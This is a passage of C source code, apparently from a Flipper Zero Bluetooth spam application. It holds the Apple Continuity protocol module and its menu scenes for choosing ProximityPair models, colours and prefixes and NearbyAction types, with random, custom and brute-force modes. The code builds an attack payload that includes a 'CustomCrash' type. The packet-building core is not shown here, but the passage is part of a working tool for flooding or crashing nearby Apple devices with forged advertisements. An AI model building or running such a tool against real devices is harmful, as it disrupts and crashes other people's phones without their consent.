  753. static uint8_t config_counts[ContinuityTypeCOUNT] = {
  754. [ContinuityTypeAirDrop] = 0,
  755. [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
  756. [ContinuityTypeAirplayTarget] = 0,
  757. [ContinuityTypeHandoff] = 0,
  758. [ContinuityTypeTetheringSource] = 0,
  759. [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
  760. [ContinuityTypeNearbyInfo] = 0,
  761. [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
  762. };
  763. static uint8_t config_count(const Payload* payload) {
  764. const ContinuityCfg* cfg = &payload->cfg.continuity;
  765. return config_counts[cfg->type];
  766. }
  767. const Protocol protocol_continuity = {
  768. .icon = &I_apple,
  769. .get_name = get_name,
  770. .make_packet = make_packet,
  771. .extra_config = extra_config,
  772. .config_count = config_count,
  773. };
  774. static void pp_model_callback(void* _ctx, uint32_t index) {
  775. Ctx* ctx = _ctx;
  776. Payload* payload = &ctx->attack->payload;
  777. ContinuityCfg* cfg = &payload->cfg.continuity;
  778. switch(index) {
  779. case 0:
  780. payload->mode = PayloadModeRandom;
  781. scene_manager_previous_scene(ctx->scene_manager);
  782. break;
  783. case pp_models_count + 1:
  784. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
  785. break;
  786. case pp_models_count + 2:
  787. payload->mode = PayloadModeBruteforce;
  788. payload->bruteforce.counter = 0;
  789. payload->bruteforce.value = cfg->data.proximity_pair.model;
  790. payload->bruteforce.size = 2;
  791. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceModel;
  792. scene_manager_previous_scene(ctx->scene_manager);
  793. break;
  794. default:
  795. if(payload->mode != PayloadModeBruteforce ||
  796. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  797. payload->mode = PayloadModeValue;
  798. cfg->data.proximity_pair.model = pp_models[index - 1].value;
  799. scene_manager_previous_scene(ctx->scene_manager);
  800. break;
  801. }
  802. }
  803. void scene_continuity_pp_model_on_enter(void* _ctx) {
  804. Ctx* ctx = _ctx;
  805. Payload* payload = &ctx->attack->payload;
  806. ContinuityCfg* cfg = &payload->cfg.continuity;
  807. Submenu* submenu = ctx->submenu;
  808. uint32_t selected = 0;
  809. submenu_reset(submenu);
  810. bool value = payload->mode == PayloadModeValue ||
  811. (payload->mode == PayloadModeBruteforce &&
  812. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceModel);
  813. submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
  814. if(payload->mode == PayloadModeRandom) {
  815. selected = 0;
  816. }
  817. bool found = false;
  818. for(uint8_t i = 0; i < pp_models_count; i++) {
  819. submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
  820. if(!found && value && cfg->data.proximity_pair.model == pp_models[i].value) {
  821. found = true;
  822. selected = i + 1;
  823. }
  824. }
  825. submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
  826. if(!found && value) {
  827. selected = pp_models_count + 1;
  828. }
  829. submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx);
  830. if(!value && payload->mode == PayloadModeBruteforce) {
  831. selected = pp_models_count + 2;
  832. }
  833. submenu_set_selected_item(submenu, selected);
  834. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  835. }
  836. bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
  837. UNUSED(_ctx);
  838. UNUSED(event);
  839. return false;
  840. }
  841. void scene_continuity_pp_model_on_exit(void* _ctx) {
  842. UNUSED(_ctx);
  843. }
  844. static void pp_model_custom_callback(void* _ctx) {
  845. Ctx* ctx = _ctx;
  846. Payload* payload = &ctx->attack->payload;
  847. ContinuityCfg* cfg = &payload->cfg.continuity;
  848. if(payload->mode != PayloadModeBruteforce ||
  849. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  850. payload->mode = PayloadModeValue;
  851. cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
  852. scene_manager_previous_scene(ctx->scene_manager);
  853. scene_manager_previous_scene(ctx->scene_manager);
  854. }
  855. void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
  856. Ctx* ctx = _ctx;
  857. Payload* payload = &ctx->attack->payload;
  858. ContinuityCfg* cfg = &payload->cfg.continuity;
  859. ByteInput* byte_input = ctx->byte_input;
  860. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  861. ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
  862. ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
  863. byte_input_set_result_callback(
  864. byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
  865. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  866. }
  867. bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  868. UNUSED(_ctx);
  869. UNUSED(event);
  870. return false;
  871. }
  872. void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
  873. UNUSED(_ctx);
  874. }
  875. static void pp_color_callback(void* _ctx, uint32_t index) {
  876. Ctx* ctx = _ctx;
  877. Payload* payload = &ctx->attack->payload;
  878. ContinuityCfg* cfg = &payload->cfg.continuity;
  879. uint8_t model_index = 0;
  880. uint8_t colors_count = 0;
  881. if(payload->mode == PayloadModeValue ||
  882. (payload->mode == PayloadModeBruteforce &&
  883. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) {
  884. for(; model_index < pp_models_count; model_index++) {
  885. if(cfg->data.proximity_pair.model == pp_models[model_index].value) {
  886. colors_count = pp_models[model_index].colors_count;
  887. break;
  888. }
  889. }
  890. }
  891. if(index == colors_count) {
  892. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColorCustom);
  893. } else if(index == colors_count + 1U) {
  894. payload->mode = PayloadModeBruteforce;
  895. payload->bruteforce.counter = 0;
  896. payload->bruteforce.value = cfg->data.proximity_pair.color;
  897. payload->bruteforce.size = 1;
  898. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceColor;
  899. scene_manager_previous_scene(ctx->scene_manager);
  900. } else {
  901. if(payload->mode != PayloadModeBruteforce ||
  902. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  903. payload->mode = PayloadModeValue;
  904. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  905. scene_manager_previous_scene(ctx->scene_manager);
  906. }
  907. }
  908. void scene_continuity_pp_color_on_enter(void* _ctx) {
  909. Ctx* ctx = _ctx;
  910. Payload* payload = &ctx->attack->payload;
  911. ContinuityCfg* cfg = &payload->cfg.continuity;
  912. Submenu* submenu = ctx->submenu;
  913. uint32_t selected = 0;
  914. submenu_reset(submenu);
  915. bool value = payload->mode == PayloadModeValue ||
  916. (payload->mode == PayloadModeBruteforce &&
  917. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceColor);
  918. bool found = false;
  919. uint8_t colors_count = 0;
  920. if(payload->mode == PayloadModeValue ||
  921. (payload->mode == PayloadModeBruteforce &&
  922. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) {
  923. for(uint8_t i = 0; i < pp_models_count; i++) {
  924. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  925. colors_count = pp_models[i].colors_count;
  926. for(uint8_t j = 0; j < colors_count; j++) {
  927. submenu_add_item(
  928. submenu, pp_models[i].colors[j].name, j, pp_color_callback, ctx);
  929. if(!found && value &&
  930. cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  931. found = true;
  932. selected = j;
  933. }
  934. }
  935. break;
  936. }
  937. }
  938. }
  939. submenu_add_item(submenu, "Custom", colors_count, pp_color_callback, ctx);
  940. if(!found && value) {
  941. selected = colors_count;
  942. }
  943. submenu_add_item(submenu, "Bruteforce", colors_count + 1, pp_color_callback, ctx);
  944. if(!value && payload->mode == PayloadModeBruteforce) {
  945. selected = colors_count + 1;
  946. }
  947. submenu_set_selected_item(submenu, selected);
  948. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  949. }
  950. bool scene_continuity_pp_color_on_event(void* _ctx, SceneManagerEvent event) {
  951. UNUSED(_ctx);
  952. UNUSED(event);
  953. return false;
  954. }
  955. void scene_continuity_pp_color_on_exit(void* _ctx) {
  956. UNUSED(_ctx);
  957. }
  958. static void pp_color_custom_callback(void* _ctx) {
  959. Ctx* ctx = _ctx;
  960. Payload* payload = &ctx->attack->payload;
  961. ContinuityCfg* cfg = &payload->cfg.continuity;
  962. if(payload->mode != PayloadModeBruteforce ||
  963. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  964. payload->mode = PayloadModeValue;
  965. cfg->data.proximity_pair.color = (ctx->byte_store[0] << 0x00);
  966. scene_manager_previous_scene(ctx->scene_manager);
  967. scene_manager_previous_scene(ctx->scene_manager);
  968. }
  969. void scene_continuity_pp_color_custom_on_enter(void* _ctx) {
  970. Ctx* ctx = _ctx;
  971. Payload* payload = &ctx->attack->payload;
  972. ContinuityCfg* cfg = &payload->cfg.continuity;
  973. ByteInput* byte_input = ctx->byte_input;
  974. byte_input_set_header_text(byte_input, "Enter custom Device Color");
  975. ctx->byte_store[0] = (cfg->data.proximity_pair.color >> 0x00) & 0xFF;
  976. byte_input_set_result_callback(
  977. byte_input, pp_color_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  978. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  979. }
  980. bool scene_continuity_pp_color_custom_on_event(void* _ctx, SceneManagerEvent event) {
  981. UNUSED(_ctx);
  982. UNUSED(event);
  983. return false;
  984. }
  985. void scene_continuity_pp_color_custom_on_exit(void* _ctx) {
  986. UNUSED(_ctx);
  987. }
  988. static void pp_prefix_callback(void* _ctx, uint32_t index) {
  989. Ctx* ctx = _ctx;
  990. Payload* payload = &ctx->attack->payload;
  991. ContinuityCfg* cfg = &payload->cfg.continuity;
  992. switch(index) {
  993. case 0:
  994. cfg->data.proximity_pair.prefix = 0x00;
  995. scene_manager_previous_scene(ctx->scene_manager);
  996. break;
  997. case pp_prefixes_count + 1:
  998. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
  999. break;
  1000. default:
  1001. cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
  1002. scene_manager_previous_scene(ctx->scene_manager);
  1003. break;
  1004. }
  1005. }
  1006. void scene_continuity_pp_prefix_on_enter(void* _ctx) {
  1007. Ctx* ctx = _ctx;
  1008. Payload* payload = &ctx->attack->payload;
  1009. ContinuityCfg* cfg = &payload->cfg.continuity;
  1010. Submenu* submenu = ctx->submenu;
  1011. uint32_t selected = 0;
  1012. bool found = false;
  1013. submenu_reset(submenu);
  1014. submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
  1015. if(cfg->data.proximity_pair.prefix == 0x00) {
  1016. found = true;
  1017. selected = 0;
  1018. }
  1019. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  1020. submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
  1021. if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  1022. found = true;
  1023. selected = i + 1;
  1024. }
  1025. }
  1026. submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
  1027. if(!found) {
  1028. selected = pp_prefixes_count + 1;
  1029. }
  1030. submenu_set_selected_item(submenu, selected);
  1031. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  1032. }
  1033. bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
  1034. UNUSED(_ctx);
  1035. UNUSED(event);
  1036. return false;
  1037. }
  1038. void scene_continuity_pp_prefix_on_exit(void* _ctx) {
  1039. UNUSED(_ctx);
  1040. }
  1041. static void pp_prefix_custom_callback(void* _ctx) {
  1042. Ctx* ctx = _ctx;
  1043. Payload* payload = &ctx->attack->payload;
  1044. ContinuityCfg* cfg = &payload->cfg.continuity;
  1045. cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
  1046. scene_manager_previous_scene(ctx->scene_manager);
  1047. scene_manager_previous_scene(ctx->scene_manager);
  1048. }
  1049. void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
  1050. Ctx* ctx = _ctx;
  1051. Payload* payload = &ctx->attack->payload;
  1052. ContinuityCfg* cfg = &payload->cfg.continuity;
  1053. ByteInput* byte_input = ctx->byte_input;
  1054. byte_input_set_header_text(byte_input, "Enter custom Prefix");
  1055. ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
  1056. byte_input_set_result_callback(
  1057. byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1058. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1059. }
  1060. bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1061. UNUSED(_ctx);
  1062. UNUSED(event);
  1063. return false;
  1064. }
  1065. void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
  1066. UNUSED(_ctx);
  1067. }
  1068. static void na_action_callback(void* _ctx, uint32_t index) {
  1069. Ctx* ctx = _ctx;
  1070. Payload* payload = &ctx->attack->payload;
  1071. ContinuityCfg* cfg = &payload->cfg.continuity;
  1072. switch(index) {
  1073. case 0:
  1074. payload->mode = PayloadModeRandom;
  1075. scene_manager_previous_scene(ctx->scene_manager);
  1076. break;
  1077. case na_actions_count + 1:
  1078. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
  1079. break;
  1080. case na_actions_count + 2:
  1081. payload->mode = PayloadModeBruteforce;
  1082. payload->bruteforce.counter = 0;
  1083. payload->bruteforce.value = cfg->data.nearby_action.action;
  1084. payload->bruteforce.size = 1;
  1085. scene_manager_previous_scene(ctx->scene_manager);
  1086. break;
  1087. default:
  1088. payload->mode = PayloadModeValue;
  1089. cfg->data.nearby_action.action = na_actions[index - 1].value;
  1090. scene_manager_previous_scene(ctx->scene_manager);
  1091. break;
  1092. }
  1093. }
  1094. void scene_continuity_na_action_on_enter(void* _ctx) {
  1095. Ctx* ctx = _ctx;
  1096. Payload* payload = &ctx->attack->payload;
  1097. ContinuityCfg* cfg = &payload->cfg.continuity;
  1098. Submenu* submenu = ctx->submenu;
  1099. uint32_t selected = 0;
  1100. submenu_reset(submenu);
  1101. submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
  1102. if(payload->mode == PayloadModeRandom) {
  1103. selected = 0;
  1104. }
  1105. bool found = false;
  1106. for(uint8_t i = 0; i < na_actions_count; i++) {
  1107. submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
  1108. if(!found && payload->mode == PayloadModeValue &&
  1109. cfg->data.nearby_action.action == na_actions[i].value) {
  1110. found = true;
  1111. selected = i + 1;
  1112. }
  1113. }
  1114. submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
  1115. if(!found && payload->mode == PayloadModeValue) {
  1116. selected = na_actions_count + 1;
  1117. }
  1118. submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx);
  1119. if(payload->mode == PayloadModeBruteforce) {
  1120. selected = na_actions_count + 2;
  1121. }
  1122. submenu_set_selected_item(submenu, selected);
  1123. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  1124. }
  1125. bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
  1126. UNUSED(_ctx);
  1127. UNUSED(event);
  1128. return false;
  1129. }
  1130. void scene_continuity_na_action_on_exit(void* _ctx) {
  1131. UNUSED(_ctx);
  1132. }
  1133. static void na_action_custom_callback(void* _ctx) {
  1134. Ctx* ctx = _ctx;
  1135. Payload* payload = &ctx->attack->payload;
  1136. ContinuityCfg* cfg = &payload->cfg.continuity;
  1137. payload->mode = PayloadModeValue;
  1138. cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
  1139. scene_manager_previous_scene(ctx->scene_manager);
  1140. scene_manager_previous_scene(ctx->scene_manager);
  1141. }
  1142. void scene_continuity_na_action_custom_on_enter(void* _ctx) {
  1143. Ctx* ctx = _ctx;
  1144. Payload* payload = &ctx->attack->payload;
  1145. ContinuityCfg* cfg = &payload->cfg.continuity;
  1146. ByteInput* byte_input = ctx->byte_input;
  1147. byte_input_set_header_text(byte_input, "Enter custom Action Type");
  1148. ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
  1149. byte_input_set_result_callback(
  1150. byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1151. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1152. }
  1153. bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1154. UNUSED(_ctx);
  1155. UNUSED(event);
  1156. return false;
  1157. }
  1158. void scene_continuity_na_action_custom_on_exit(void* _ctx) {
  1159. UNUSED(_ctx);
  1160. }
  1161. static void na_flags_callback(void* _ctx) {
  1162. Ctx* ctx = _ctx;
  1163. scene_manager_previous_scene(ctx->scene_manager);
  1164. }
  1165. void scene_continuity_na_flags_on_enter(void* _ctx) {
  1166. Ctx* ctx = _ctx;
  1167. Payload* payload = &ctx->attack->payload;
  1168. ContinuityCfg* cfg = &payload->cfg.continuity;
  1169. ByteInput* byte_input = ctx->byte_input;
  1170. byte_input_set_header_text(byte_input, "Press back for automatic");
  1171. ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
  1172. byte_input_set_result_callback(
  1173. byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1174. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1175. }
  1176. bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
  1177. Ctx* ctx = _ctx;
  1178. if(event.type == SceneManagerEventTypeBack) {
  1179. ctx->byte_store[0] = 0x00;
  1180. }
  1181. return false;
  1182. }
  1183. void scene_continuity_na_flags_on_exit(void* _ctx) {
  1184. Ctx* ctx = _ctx;
  1185. Payload* payload = &ctx->attack->payload;
  1186. ContinuityCfg* cfg = &payload->cfg.continuity;
  1187. cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
  1188. }